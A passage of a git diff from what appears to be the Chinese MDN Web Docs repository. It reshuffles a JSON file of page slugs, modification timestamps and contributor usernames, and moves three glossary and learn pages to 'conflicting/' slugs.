"2019-03-23T23:20:58.387Z", "contributors": [ - "agnoCJY", - "Yayure", - "jianbinfu", - "LittleMang", - "LuoYun", - "lscnet", - "codeofjackie", - "WhiteYin", - "tuneura", - "DaduCC", - "Ray-Eldath", - "NicholasCao", - "Ende93", - "wanqing19954", - "Marslin92" + "HelloFun", + "ziyunfei", + "teoli", + "jedmeng", + "Chajn" ] }, - "learn/JavaScript/Building_blocks/Return_values": { - "modified": "2020-11-24T04:05:07.114Z", + "conflicting/Learn/CSS/Building_blocks/Values_and_units": { + "modified": "2019-07-23T22:49:50.958Z", "contributors": [ - "Anser0111", - "jsl1079322620", - "Hermedius", - "FantasqueX", - "LuoYun", - "larrychen", - "Gloriazdh", - "codeofjackie", - "DaduCC", - "BadRonmance", - "yj21world", - "minmino" + "moposx", + "HelloFun", + "Harvesty", + "jasonzhyan", + "ziyunfei", + "teoli", + "Chajn", + "lilyh" ] }, - "learn/JavaScript/Building_blocks/conditionals": { - "modified": "2020-07-16T22:31:16.388Z", + "conflicting/Learn/CSS/First_steps/How_CSS_works": { + "modified": "2019-03-23T23:23:25.849Z", "contributors": [ - "SirnoChan", - "qiubite-name", - "Undecyce", - "Ray-Eldath", - "DaduCC", - "NicholasCao", - "ideal.Li", - "lyllll000", - "finegao", - "INFINITSY", - "HashubWang" + "HelloFun", + "ziyunfei", + "teoli", + "Chajn", + "reygreen1" ] }, - "learn/JavaScript/Building_blocks/相片走廊": { - "modified": "2020-07-16T22:31:44.958Z", + "conflicting/Learn/CSS/First_steps": { + "modified": "2019-03-23T23:51:15.283Z", "contributors": [ - "lucida959595", - "Roy-Tian", - "LittleMang", - "Park-ma", - "codeofjackie", - "lihaoyuan", - "yeslogin2", - "Zeng" + "Harvesty", + "Ende93", + "ziyunfei", + "teoli", + "Chajn", + "sunnylost", + "playts", + "Ianyang", + "Verruckt", + "Mgjbot", + "Zuzu" ] }, - "learn/JavaScript/Howto": { - "modified": "2020-07-16T22:33:11.775Z", + "conflicting/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents": { + "modified": "2019-03-23T23:14:19.406Z", "contributors": [ - "wangwenhao", - "yuyx91" + "chengzise", + "Chajn", + "reygreen1" ] }, - "learn/JavaScript/异步": { - "modified": "2020-07-16T22:33:15.541Z", + "conflicting/Learn/CSS/CSS_layout": { + "modified": "2019-03-23T23:35:32.514Z", "contributors": [ - "yuqing521", - "alice201601", - "oceanMIH" + "Harvesty", + "jasonzhyan", + "shuson", + "ziyunfei", + "mengzyou", + "teoli", + "Chajn", + "larryzhang" ] }, - "learn/JavaScript/异步/Async_await": { - "modified": "2020-12-08T06:58:32.883Z", + "conflicting/Learn/CSS/Styling_text/Styling_lists": { + "modified": "2019-03-23T23:20:46.740Z", "contributors": [ - "byrde", - "woniuxingdong", - "qwei", - "plainnany", - "jakio6", - "awarmy", - "cochn", - "wangfangping" + "Harvesty", + "jasonzhyan", + "tolerious", + "mengzyou", + "ziyunfei", + "teoli", + "Chajn", + "aztack" ] }, - "learn/JavaScript/异步/Choosing_the_right_approach": { - "modified": "2020-12-08T07:27:41.218Z", + "conflicting/Learn/CSS/First_steps/How_CSS_is_structured": { + "modified": "2019-03-23T23:20:58.835Z", "contributors": [ - "byrde", - "icetea_cover", - "rubyKC", - "shangruitong", - "PYGC", - "wangfangping", - "tjls" + "FlameZheng", + "HelloFun", + "Harvesty", + "jasonzhyan", + "Synyan", + "neutrous", + "ziyunfei", + "teoli", + "aztack", + "reygreen1" ] }, - "learn/JavaScript/异步/Promises语法": { - "modified": "2020-12-08T05:22:09.292Z", + "conflicting/Learn/CSS/Building_blocks/Selectors": { + "modified": "2019-03-21T05:33:31.497Z", "contributors": [ - "byrde", - "You2er", - "hidoos", - "mizhon", - "haoawen", - "PYGC", - "masterZSH", - "wangfangping", - "kafm", - "zijieee" + "yijie_sun", + "Robinx", + "HelloFun", + "Harvesty", + "jasonzhyan", + "yihuanZhang", + "futurefeeling", + "FredWe", + "chenguangqi", + "yilksd", + "ziyunfei", + "teoli", + "Chajn", + "aztack", + "bingguo" ] }, - "learn/JavaScript/异步/概念": { - "modified": "2020-07-16T22:33:29.726Z", + "conflicting/Learn/CSS/Building_blocks/Styling_tables": { + "modified": "2019-03-23T23:20:48.505Z", "contributors": [ - "alice201601", - "grape", - "HermitSun", - "oceanMIH" + "023Sparrow", + "Harvesty", + "mengzyou", + "ziyunfei", + "teoli", + "Chajn", + "aztack" ] }, - "learn/JavaScript/异步/简介": { - "modified": "2020-12-09T00:17:16.227Z", + "conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711": { + "modified": "2019-03-23T23:20:39.790Z", "contributors": [ - "hidoos", - "iroywang", - "Hermedius", - "Xugen-Ma", - "alice201601", - "grape", - "Kavelaa", - "gqbre", - "oceanMIH" + "Harvesty", + "neutrous", + "ziyunfei", + "teoli", + "bingguo", + "gadgetboy", + "Chajn" ] }, - "learn/JavaScript/异步/超时和间隔": { - "modified": "2020-08-14T06:09:20.310Z", + "conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209": { + "modified": "2019-03-18T20:41:48.849Z", "contributors": [ - "Pada", - "You2er", - "WinterCicada", - "zhangbig0", - "mizhon", - "yuqing521", - "Alendia", - "grape", - "wangfangping", - "puddlejumper26", - "oceanMIH" + "HelloFun", + "Ende93", + "haofu", + "ziyunfei", + "teoli", + "Chajn", + "sunnylost" ] }, - "learn/Learning_and_getting_help": { - "modified": "2020-12-06T05:06:52.891Z", + "conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521": { + "modified": "2019-03-23T23:24:15.853Z", "contributors": [ - "3143875691" + "TomatoLovve", + "HelloFun", + "ziyunfei", + "haofu", + "teoli", + "Chajn", + "aihua" ] }, - "learn/Performance": { - "modified": "2020-12-05T12:01:04.505Z", + "conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images": { + "modified": "2019-03-23T23:22:21.195Z", "contributors": [ - "mayerpan", - "liguanzeng", - "Bayes", - "yangchongduo" + "Ende93", + "mrstork", + "anjia", + "figure7", + "Wenbin" ] }, - "learn/Performance/Web_Performance_Basics": { - "modified": "2020-07-16T22:40:42.886Z", + "conflicting/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks": { + "modified": "2020-05-25T10:01:07.179Z", "contributors": [ - "shuiRong", - "creative_fish" + "sweeney", + "xgqfrms" ] }, - "learn/Performance/感知性能": { - "modified": "2020-07-16T22:40:43.760Z", + "conflicting/Web/HTML/Element": { + "modified": "2020-01-10T02:18:08.432Z", "contributors": [ - "biqing" + "yinsang", + "Jevol", + "yongdi", + "Breezewish", + "ziyunfei" ] }, - "learn/Server-side": { - "modified": "2020-07-16T22:36:03.668Z", + "conflicting/Web/Guide/HTML/HTML5": { + "modified": "2019-03-23T23:39:08.496Z", "contributors": [ - "ZuoRight", - "xixilog", - "JamesZhange", - "Munch_TZB", - "GHLgh" + "ziyunfei", + "kevmdn" ] }, - "learn/Server-side/Django": { - "modified": "2020-07-16T22:36:36.546Z", + "conflicting/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content": { + "modified": "2019-09-28T22:50:38.146Z", "contributors": [ - "diyigechipangxie", - "xixilog", - "chinanf-boy", - "hstaoqian", - "Zhaoyu" + "zaixuzheng", + "wth", + "Cindy_Liu", + "lyxuncle", + "flyonok", + "zhaiyu.zhaiyu", + "troywith77", + "ArthasTree", + "rogueduola", + "tankhanleng", + "shenhao" ] }, - "learn/Server-side/Django/Authentication": { - "modified": "2020-07-16T22:37:25.161Z", + "conflicting/Web/API/Document/hasFocus": { + "modified": "2019-03-23T23:31:56.410Z", "contributors": [ - "floodwater", - "edgar-chen", - "xixilog" + "xgqfrms-GitHub", + "kmc947373", + "sxxxsz", + "Breezewish", + "teoli", + "sunnylost" ] }, - "learn/Server-side/Django/Deployment": { - "modified": "2020-11-23T18:29:57.524Z", + "conflicting/Web/Media/Formats": { + "modified": "2019-07-03T23:42:04.646Z", "contributors": [ - "keetack", - "edgar-chen", - "yan-jin", - "xixilog" + "l613", + "zodiac-xl", + "ziyunfei" ] }, - "learn/Server-side/Django/Forms": { - "modified": "2020-07-16T22:37:34.229Z", + "conflicting/Web/HTTP/Status": { + "modified": "2019-01-16T13:20:30.376Z", "contributors": [ - "buttre", - "edgar-chen", - "xixilog" + "ziyunfei" ] }, - "learn/Server-side/Django/Generic_views": { - "modified": "2020-07-16T22:37:19.625Z", + "conflicting/Web/HTTP/CORS": { + "modified": "2019-03-23T23:14:41.414Z", "contributors": [ - "edgar-chen", - "xixilog", - "SphinxKnight" + "GerryLon", + "xgqfrms-GitHub", + "holynewbie", + "jearylee" ] }, - "learn/Server-side/Django/Introduction": { - "modified": "2020-07-16T22:36:42.459Z", + "conflicting/Learn/Getting_started_with_the_web/JavaScript_basics": { + "modified": "2019-03-23T23:35:23.323Z", "contributors": [ - "khalim", - "Nel", - "ShuangFarmer", - "xiezhedaima9591", - "chinanf-boy" + "xCss", + "KMethod", + "lifeng", + "maslak", + "Eridanus_Sora", + "ywang1724", + "reygreen1", + "teoli", + "Lyper", + "Simontechwriter" ] }, - "learn/Server-side/Django/Models": { - "modified": "2020-07-16T22:37:00.935Z", + "conflicting/Web/JavaScript/Guide/Introduction": { + "modified": "2019-03-23T23:36:14.591Z", "contributors": [ - "shawPLUSroot", - "senghongchong7", - "phdgogogo", - "colin3dmax", - "AIIEOIBD", - "zphj1987", - "cashlu", - "xixilog", - "szlh", - "chinanf-boy" + "wbamberg", + "Breezewish", + "ReyCG_sub", + "ReyCG", + "teoli", + "LieGroup", + "rogersuen" ] }, - "learn/Server-side/Django/Sessions": { - "modified": "2020-07-16T22:37:28.578Z", + "conflicting/Web/JavaScript/Guide/Introduction_6f341ba6db4b060ccbd8dce4a0d5214b": { + "modified": "2019-03-23T23:36:14.828Z", "contributors": [ - "buttre", - "edgar-chen", - "xixilog" + "MrMario", + "ReyCG_sub", + "teoli", + "LieGroup", + "rogersuen" ] }, - "learn/Server-side/Django/Testing": { - "modified": "2020-07-16T22:37:39.373Z", + "conflicting/Web/JavaScript/Guide/Regular_Expressions/Assertions": { + "modified": "2020-10-30T11:36:06.394Z", + "contributors": [ + "phone-burner" + ] + }, + "conflicting/Learn/JavaScript/Objects": { + "modified": "2020-03-12T19:38:08.916Z", + "contributors": [ + "huijing", + "SAM.L", + "NarK", + "umiyevol", + "daix6", + "ashjs", + "sabrinaluo", + "xanarry", + "fskuok", + "hackerZhang", + "hipop", + "jamesliuhk", + "awp0011", + "ryanouyang", + "yiding_he", + "teoli", + "yimity", + "shiyutang", + "xcffl" + ] + }, + "conflicting/Web/JavaScript/Reference/Global_Objects/ArrayBuffer": { + "modified": "2020-10-15T21:37:49.333Z", "contributors": [ - "edgar-chen", - "xixilog" + "fscholz", + "kameii", + "liyongleihf2006", + "fred4444source" ] }, - "learn/Server-side/Django/Tutorial_local_library_website": { - "modified": "2020-07-16T22:36:50.644Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Boolean": { + "modified": "2020-10-15T21:06:58.693Z", "contributors": [ - "zengqi", - "ddtyjmyjm", - "hstaoqian" + "zhangchen", + "keller0", + "teoli", + "AlexChao", + "ziyunfei" ] }, - "learn/Server-side/Django/django_assessment_blog": { - "modified": "2020-07-16T22:37:49.691Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/DataView": { + "modified": "2020-10-15T21:38:02.121Z", "contributors": [ - "edgar-chen" + "fscholz", + "liyongleihf2006", + "Taoja", + "mzhejiayu" ] }, - "learn/Server-side/Django/skeleton_website": { - "modified": "2020-07-16T22:36:55.364Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Date": { + "modified": "2020-10-15T21:28:32.786Z", "contributors": [ - "Nel", - "xixilog", - "ddtyjmyjm", - "MengLingqin", - "chinanf-boy", - "hstaoqian" + "zhangchen", + "imgss", + "fscholz", + "regiondavid", + "mage3k", + "Cattla", + "teoli", + "AlexChao" ] }, - "learn/Server-side/Django/web_application_security": { - "modified": "2020-07-16T22:37:47.216Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Error": { + "modified": "2019-04-02T14:33:04.306Z", "contributors": [ - "knktc", - "edgar-chen", - "xixilog" + "ngtmuzi", + "shajiquan" ] }, - "learn/Server-side/Django/主页构建": { - "modified": "2020-07-16T22:37:11.997Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/EvalError": { + "modified": "2020-10-15T21:59:36.134Z", "contributors": [ - "feko", - "mojiangyuan", - "colin3dmax", - "floodwater", - "xixilog", - "chinanf-boy" + "hwj" ] }, - "learn/Server-side/Django/开发环境": { - "modified": "2020-10-06T10:08:45.805Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Function": { + "modified": "2019-09-11T09:25:06.080Z", "contributors": [ - "kuailekai", - "silentpanda97", - "Adrian-Yan", - "q2937711", - "xixilog", - "chinanf-boy" + "Ende93", + "FrankElean", + "xiaowtz", + "DevinHe", + "teoli", + "ziyunfei", + "Oatn" ] }, - "learn/Server-side/Django/管理站点": { - "modified": "2020-07-16T22:37:06.131Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/GeneratorFunction": { + "modified": "2020-10-15T21:40:51.679Z", "contributors": [ - "Jeffxzj", - "wangfangping", - "colin3dmax", - "indv-zhu", - "chinanf-boy" + "fscholz", + "shinexyt", + "zhangchen", + "webery" ] }, - "learn/Server-side/Express_Nodejs": { - "modified": "2020-07-16T22:37:56.406Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat": { + "modified": "2020-04-21T09:01:11.304Z", "contributors": [ - "hellorayza", - "百里笙歌", - "Frederick-S", - "yatace", - "edgar-chen", - "Ran_Lyu", - "longzhengxiong", - "sp900409", - "chenlexing", - "ant0x00" + "fscholz", + "liyongleihf2006" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data": { - "modified": "2020-10-27T00:17:29.715Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Map": { + "modified": "2019-12-28T23:13:19.788Z", "contributors": [ - "Megrax", - "socovo", - "edgar-chen" + "wallena3", + "YaoZeyuan", + "kameii", + "chaosdog", + "webery" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page": { - "modified": "2020-07-16T22:38:39.461Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Number": { + "modified": "2019-03-23T22:12:02.199Z", "contributors": [ - "woshiqiang1", - "edgar-chen" + "AlexChao" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page": { - "modified": "2020-07-16T22:38:38.246Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Object": { + "modified": "2020-10-15T21:21:47.231Z", "contributors": [ - "edgar-chen" + "SphinxKnight", + "daihaoxin", + "zhangchen", + "wwy2018", + "Linjing", + "WizardAlice", + "ywjco", + "xgqfrms-GitHub", + "Cattla", + "scscms", + "webery", + "luoway", + "ziyunfei", + "LinusYu", + "teoli", + "iwo" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge": { - "modified": "2020-07-16T22:38:39.803Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Promise": { + "modified": "2019-06-27T05:04:40.773Z", "contributors": [ - "staticfire", - "edgar-chen" + "SphinxKnight", + "cyancity", + "Bryannnnnnn", + "HenryYong", + "mountainmoon" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page": { - "modified": "2020-07-16T22:38:37.044Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy": { + "modified": "2020-10-15T21:32:21.161Z", "contributors": [ - "edgar-chen" + "stack_vim", + "RainSlide", + "wallena3", + "daxiazilong", + "Bayes", + "SphinxKnight", + "myl0204", + "ziyunfei" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page": { - "modified": "2020-07-16T22:38:39.148Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/RangeError": { + "modified": "2020-10-15T22:06:54.468Z", "contributors": [ - "edgar-chen" + "pea3nut" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page": { - "modified": "2020-07-16T22:38:36.367Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/ReferenceError": { + "modified": "2020-10-15T22:04:38.794Z", "contributors": [ - "edgar-chen" + "Mal_akh" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment": { - "modified": "2020-07-16T22:38:37.610Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/RegExp": { + "modified": "2019-07-08T23:50:51.861Z", "contributors": [ - "edgar-chen" + "teoli", + "AlexChao", + "ziyunfei" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page": { - "modified": "2020-07-16T22:38:38.748Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer": { + "modified": "2020-10-15T21:58:38.272Z", "contributors": [ - "edgar-chen" + "wallena3", + "xgqfrms-GitHub" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Home_page": { - "modified": "2020-07-16T22:38:35.735Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/String": { + "modified": "2020-10-15T21:27:29.084Z", "contributors": [ - "edgar-chen" + "gqbre", + "pabloyshi", + "zhazhjie", + "zqyue", + "Ende93", + "midare", + "Yuxuan_Jiang", + "micheal-death", + "xgqfrms-GitHub", + "Hugh", + "terrycafe520", + "qianjiahao", + "paddingme", + "teoli", + "ziyunfei" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template": { - "modified": "2020-10-27T06:26:13.607Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Symbol": { + "modified": "2020-10-15T21:42:54.702Z", "contributors": [ - "Megrax", - "edgar-chen" + "zhangchen", + "purple_force" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Template_primer": { - "modified": "2020-07-16T22:38:34.671Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/SyntaxError": { + "modified": "2019-03-23T23:03:07.644Z", "contributors": [ - "edgar-chen" + "Ende93", + "yenshen" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async": { - "modified": "2020-07-16T22:38:33.746Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/TypedArray": { + "modified": "2019-03-23T22:21:58.417Z", "contributors": [ - "edgar-chen" + "wizardforcel", + "liyongleihf2006" ] }, - "learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry": { - "modified": "2020-09-24T11:45:05.090Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/TypeError": { + "modified": "2020-10-15T21:39:50.956Z", "contributors": [ - "Mdreame", - "edgar-chen" + "Tao-Quixote", + "coolfireWang", + "Ende93" ] }, - "learn/Server-side/Express_Nodejs/Introduction": { - "modified": "2020-07-16T22:38:13.912Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/URIError": { + "modified": "2020-10-15T22:03:36.123Z", "contributors": [ - "Roy-Tian", - "hehe1111", - "sun603", - "janyin", - "biblade", - "outman", - "congrongdeyu", - "codeofjackie", - "edgar-chen", - "bybiuhappy", - "ShirleyM", - "lofayo", - "chengzhibing" + "Tao-Quixote" ] }, - "learn/Server-side/Express_Nodejs/Tutorial_local_library_website": { - "modified": "2020-07-16T22:38:17.531Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/WeakMap": { + "modified": "2019-03-23T22:23:35.449Z", "contributors": [ - "Roy-Tian", - "chudongsong", - "janyin", - "edgar-chen" + "hhxxhg", + "xdsnet" ] }, - "learn/Server-side/Express_Nodejs/deployment": { - "modified": "2020-07-16T22:38:50.827Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/WeakSet": { + "modified": "2019-10-09T00:35:58.794Z", "contributors": [ - "edgar-chen", - "codeofjackie" + "sky-gg", + "SphinxKnight", + "teoli", + "ziyunfei" ] }, - "learn/Server-side/Express_Nodejs/development_environment": { - "modified": "2020-07-16T22:38:02.448Z", + "conflicting/Web/JavaScript/Reference/Operators": { + "modified": "2020-10-15T21:31:37.464Z", "contributors": [ - "snaildarter", - "phili-p", - "Roy-Tian", - "sun603", - "yijie_sun", - "yaoqtan", - "jianchao_xue", - "edgar-chen", - "BarryLiu1995" + "srq18211", + "RainSlide", + "lmislm", + "Braveheartforyou", + "zhangchen", + "xixigeek", + "XHMM", + "ZhengAu", + "aimiy", + "xhlwill", + "xgqfrms-GitHub", + "yayayhoo", + "xiaofengling", + "git123hub", + "AnnAngela", + "tiansh", + "AlexChao" ] }, - "learn/Server-side/Express_Nodejs/forms": { - "modified": "2020-08-07T05:55:45.402Z", + "conflicting/Web/JavaScript/Reference/Operators_8d54701de06af40a7c984517cbe87b3e": { + "modified": "2020-10-15T21:29:35.850Z", "contributors": [ - "yunxiaomeng", - "grape", - "hdh296", - "socovo", - "edgar-chen", - "zhangyu911013" + "AchooLuv", + "wbamberg", + "cuixiping", + "adoreCherish", + "yofine", + "AlexChao", + "SphinxKnight" ] }, - "learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form": { - "modified": "2020-07-16T22:38:46.101Z", + "conflicting/Web/JavaScript/Reference/Operators_7c8eb9475d97a4a734c5991857698560": { + "modified": "2020-03-12T19:40:23.030Z", "contributors": [ - "edgar-chen" + "xmasuhai", + "GreedyPig", + "parabolazz", + "ywjco", + "xgqfrms-GitHub", + "clcy1243", + "tiansh", + "AlexChao" ] }, - "learn/Server-side/Express_Nodejs/forms/Create_author_form": { - "modified": "2020-07-16T22:38:44.657Z", + "conflicting/Web/JavaScript/Reference/Operators_310dc67549939233c3d18a8fa2cdbb23": { + "modified": "2020-03-12T19:41:27.611Z", "contributors": [ - "edgar-chen" + "ch4zzzzz", + "ubuntugx", + "GreedyPig", + "gongzhibin", + "choukin", + "blue0125", + "Ende93", + "beiweiqiang", + "qianjiahao" ] }, - "learn/Server-side/Express_Nodejs/forms/Create_book_form": { - "modified": "2020-07-16T22:38:45.191Z", + "conflicting/Web/JavaScript/Reference/Operators_f71733c8e7001a29c3ec40d8522a4aca": { + "modified": "2020-10-15T21:22:11.681Z", "contributors": [ + "HermitSun", + "git710", + "RainSlide", + "withoutmelv", "SphinxKnight", - "UPUP", - "edgar-chen" + "Kaijun", + "fphonor", + "zhangchen", + "YoungChen", + "zhuangyin", + "yenshen", + "teoli", + "MoltBoy" ] }, - "learn/Server-side/Express_Nodejs/forms/Create_genre_form": { - "modified": "2020-07-16T22:38:43.645Z", + "conflicting/Web/JavaScript/Reference/Lexical_grammar": { + "modified": "2019-03-23T23:46:04.954Z", "contributors": [ - "edgar-chen" + "fangnanjun", + "Haichao", + "teoli", + "Mickeyboy" ] }, - "learn/Server-side/Express_Nodejs/forms/Delete_author_form": { - "modified": "2020-07-16T22:38:46.761Z", + "conflicting/Web/JavaScript/Reference/Statements/switch": { + "modified": "2020-10-15T21:40:53.796Z", "contributors": [ - "edgar-chen" + "hellokidder", + "zhangchen", + "binguanghe", + "Lukas-LiuYi", + "fscholz" ] }, - "learn/Server-side/Express_Nodejs/forms/Update_Book_form": { - "modified": "2020-07-16T22:38:48.713Z", + "conflicting/Web/Progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f": { + "modified": "2019-03-18T20:52:05.037Z", "contributors": [ - "edgar-chen" + "chrisdavidmills", + "liminjun", + "xgqfrms-GitHub" ] }, - "learn/Server-side/Express_Nodejs/mongoose": { - "modified": "2020-08-12T09:45:03.710Z", + "conflicting/Web/Progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67": { + "modified": "2019-03-18T20:52:04.596Z", "contributors": [ - "Dazhuzhu-github", - "vpstarter", - "百里笙歌", - "socovo", - "Roy-Tian", - "edgar-chen" + "chrisdavidmills", + "liminjun" ] }, - "learn/Server-side/Express_Nodejs/routes": { - "modified": "2020-10-23T08:33:36.699Z", + "conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks": { + "modified": "2019-03-18T20:52:04.806Z", "contributors": [ - "Hawaii_zzapi", - "百里笙歌", - "Roy-Tian", - "jianchao_xue", - "edgar-chen" + "chrisdavidmills", + "liminjun" ] }, - "learn/Server-side/Express_Nodejs/skeleton_website": { - "modified": "2020-08-26T10:22:11.122Z", + "conflicting/Web/Progressive_web_apps/Introduction": { + "modified": "2019-04-18T12:23:20.526Z", "contributors": [ - "Tiny-Wei", - "Roy-Tian", - "edgar-chen" + "chenronghui" ] }, - "learn/Server-side/First_steps": { - "modified": "2020-07-16T22:36:11.413Z", + "conflicting/Web/HTTP/CSP": { + "modified": "2019-08-30T07:28:26.257Z", "contributors": [ - "DaniellaAngel", - "edgar-chen", - "ArcherGrey", - "chf007", - "tinyCucumber", - "07akioni" + "ziyunfei", + "Breezewish", + "zhangzipeng", + "R00tgrok" ] }, - "learn/Server-side/First_steps/Client-Server_overview": { - "modified": "2020-07-16T22:36:22.601Z", + "conflicting/Web/HTTP/CSP_aeae68a149c6fbe64e541cbdcd6ed5c5": { + "modified": "2019-08-30T07:28:05.612Z", "contributors": [ - "DaniellaAngel", - "JuleHenriHu", - "WindLo", - "yijie_sun", - "ZhuZhuDrinkMilk", - "edgar-chen", - "ShuangFarmer", - "whocare", - "BarryLiu1995", - "yuantongkang", - "liminjun", - "zhuangyin", - "old2sun", - "ziyouwa", - "Zeng" + "LeonDWong", + "lcxfs1991", + "Breezewish", + "ziyunfei" ] }, - "learn/Server-side/First_steps/Introduction": { - "modified": "2020-09-13T05:53:31.575Z", + "conflicting/Web/HTTP/CSP_9583294484b49ac391995b392c2b1ae1": { + "modified": "2019-03-23T23:03:20.586Z", "contributors": [ - "dake0805", - "vicco", - "yijie_sun", - "zhangchen", - "Nothosaurs", - "lonelee", - "diaotai", - "old2sun", - "ziyouwa", - "Zeng" + "ziyunfei", + "zhangzipeng" ] }, - "learn/Server-side/First_steps/Web_frameworks": { - "modified": "2020-07-16T22:36:26.173Z", + "conflicting/Web/Web_Components/Using_shadow_DOM": { + "modified": "2019-03-23T22:29:42.834Z", "contributors": [ - "mojiangyuan", - "DaniellaAngel", - "hikigaya58", - "tongwenwu", - "zhuzhangliang", - "edgar-chen", - "JamesZhange", - "ddtyjmyjm", - "Phoenixkaze", - "Jhongwun", - "Stevenhwang", - "yinzhuoya", - "old2sun", - "Zeng" + "xgqfrms-GitHub", + "fsx950223", + "floraluo", + "jchnxu" ] }, - "learn/Server-side/First_steps/Website_security": { - "modified": "2020-10-20T04:30:22.097Z", + "conflicting/Web/API_dd04ca1265cb79b990b8120e5f5070d3": { + "modified": "2019-03-18T20:42:39.198Z", "contributors": [ - "Megrax", - "mayhjx", - "yi2sun", - "ZhuZhuDrinkMilk", - "goat91", - "Zeng" + "wbamberg", + "fscholz", + "jiahui", + "zhenhua32", + "Meteormatt" ] }, - "learn/Web_Mechanics": { - "modified": "2020-07-16T22:22:13.542Z", + "conflicting/Web/API/File_and_Directory_Entries_API/Introduction": { + "modified": "2019-03-23T23:17:06.579Z", "contributors": [ - "jdk137", - "Ende93", - "yfdyh000", - "yanbinlucy" + "ziyunfei" ] }, - "使用Javascript和DOM_Interfaces来处理HTML": { - "modified": "2020-10-08T06:13:28.865Z", + "conflicting/Web/API/WebRTC_API_d8621144cbc61520339c3b10c61731f0": { + "modified": "2019-03-23T23:36:50.162Z", "contributors": [ - "ruiyang0012", - "crowphy", - "newued", - "helloguangxue", - "Jcrjia", - "Transfan", - "Laser", - "Carrie zhxj", - "Mgjbot", - "Surfchen", - "Kakurady", - "Heagle" + "lxyion", + "acgeeker", + "alayasix" ] } } \ No newline at end of file diff --git a/files/zh-cn/conflicting/glossary/chrome/index.html b/files/zh-cn/conflicting/glossary/chrome/index.html index a40b228f6b..7c563bc814 100644 --- a/files/zh-cn/conflicting/glossary/chrome/index.html +++ b/files/zh-cn/conflicting/glossary/chrome/index.html @@ -1,10 +1,11 @@ --- title: Chrome -slug: Chrome +slug: conflicting/Glossary/Chrome tags: - Toolkit API translation_of: Glossary/Chrome translation_of_original: Chrome +original_slug: Chrome ---

Chrome 这个单词在 Mozilla 的技术中有着多重含义。

diff --git a/files/zh-cn/conflicting/glossary/doctype/index.html b/files/zh-cn/conflicting/glossary/doctype/index.html index 543d822170..f93b74d8ba 100644 --- a/files/zh-cn/conflicting/glossary/doctype/index.html +++ b/files/zh-cn/conflicting/glossary/doctype/index.html @@ -1,8 +1,9 @@ --- title: DTD -slug: Glossary/DTD +slug: conflicting/Glossary/Doctype translation_of: Glossary/Doctype translation_of_original: Glossary/DTD +original_slug: Glossary/DTD ---

{{page("/en-US/docs/Glossary/Doctype")}}

diff --git a/files/zh-cn/conflicting/learn/common_questions/index.html b/files/zh-cn/conflicting/learn/common_questions/index.html index 53aac91402..0eefb8f643 100644 --- a/files/zh-cn/conflicting/learn/common_questions/index.html +++ b/files/zh-cn/conflicting/learn/common_questions/index.html @@ -1,10 +1,11 @@ --- title: Web 工程学 -slug: learn/Web_Mechanics +slug: conflicting/Learn/Common_questions tags: - Web 工程学 - 初学者 translation_of: Learn/Common_questions translation_of_original: Learn/Web_Mechanics +original_slug: learn/Web_Mechanics ---

请访问 常见问题

